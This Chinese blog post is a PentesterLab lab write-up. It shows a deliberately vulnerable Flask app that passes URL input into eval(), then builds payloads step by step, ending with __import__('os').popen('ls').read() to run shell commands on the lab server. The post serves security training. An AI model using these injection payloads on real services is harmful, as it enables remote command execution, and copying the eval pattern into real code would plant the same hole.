码迷,mamicode.com
首页 > 其他好文 > 详细

pentesterlab靶场练习 Code Execution 7

时间:2021-05-24 07:37:22      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:需要   动态加载   技术   执行命令   false   html   显示   资源   mes   

1.查看源码

from flask import Flask,redirect , render_template

app = Flask( __name__)

@app.route( ‘/ hello/<path:user> ‘ )

def hello_name(user) :
	message = eval( ‘ "Hello ‘+user+‘"‘ )
	return render_template( ‘index.html‘ , message = message)

@app.route( ‘/ ‘ )
def hello_world( ):
	return redirect( " /hello/ hacker" , code=302)
if __name__ == ‘__main__‘ :
	app.run( debug=False,host=‘0.0.0.0‘)

可以发现 message = eval(‘ "Hello‘ + user +‘"‘) 可以闭合源码来执行我们的命令

2.进行构建payload

页面显示:

技术图片

尝试闭合: https://ptl------------.libcurl.so/hello/hacker"%2bstr(123)%2b"

技术图片

页面成功输出123

尝试执行系统命令: https://ptl------------.libcurl.so/hello/hacker"%2bstr(os.system(‘ls‘))%2b"

技术图片

页面报错

可能是因为python没有import os的原因 我们可以使用__import__ 来动态加载模块

执行:

https//ptl------------.libcurl.so/hello/hacker"%2bstr(__import__(‘os‘).system(‘ls‘))%2b"

技术图片

发现页面回显正常 但是没有显示出我们需要的资源

推测可能是os.system的问题 我们可以使用os.popen方法来执行系统命令

执行:
https://ptl------------.libcurl.so/hello/hacker"%2bstr(__import__(‘os‘).popen(‘ls‘).read())%2b"

技术图片

页面已经可以正常回显执行命令后的结果 well done

pentesterlab靶场练习 Code Execution 7

标签:需要   动态加载   技术   执行命令   false   html   显示   资源   mes   

原文地址:https://www.cnblogs.com/xsj1228/p/14763869.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!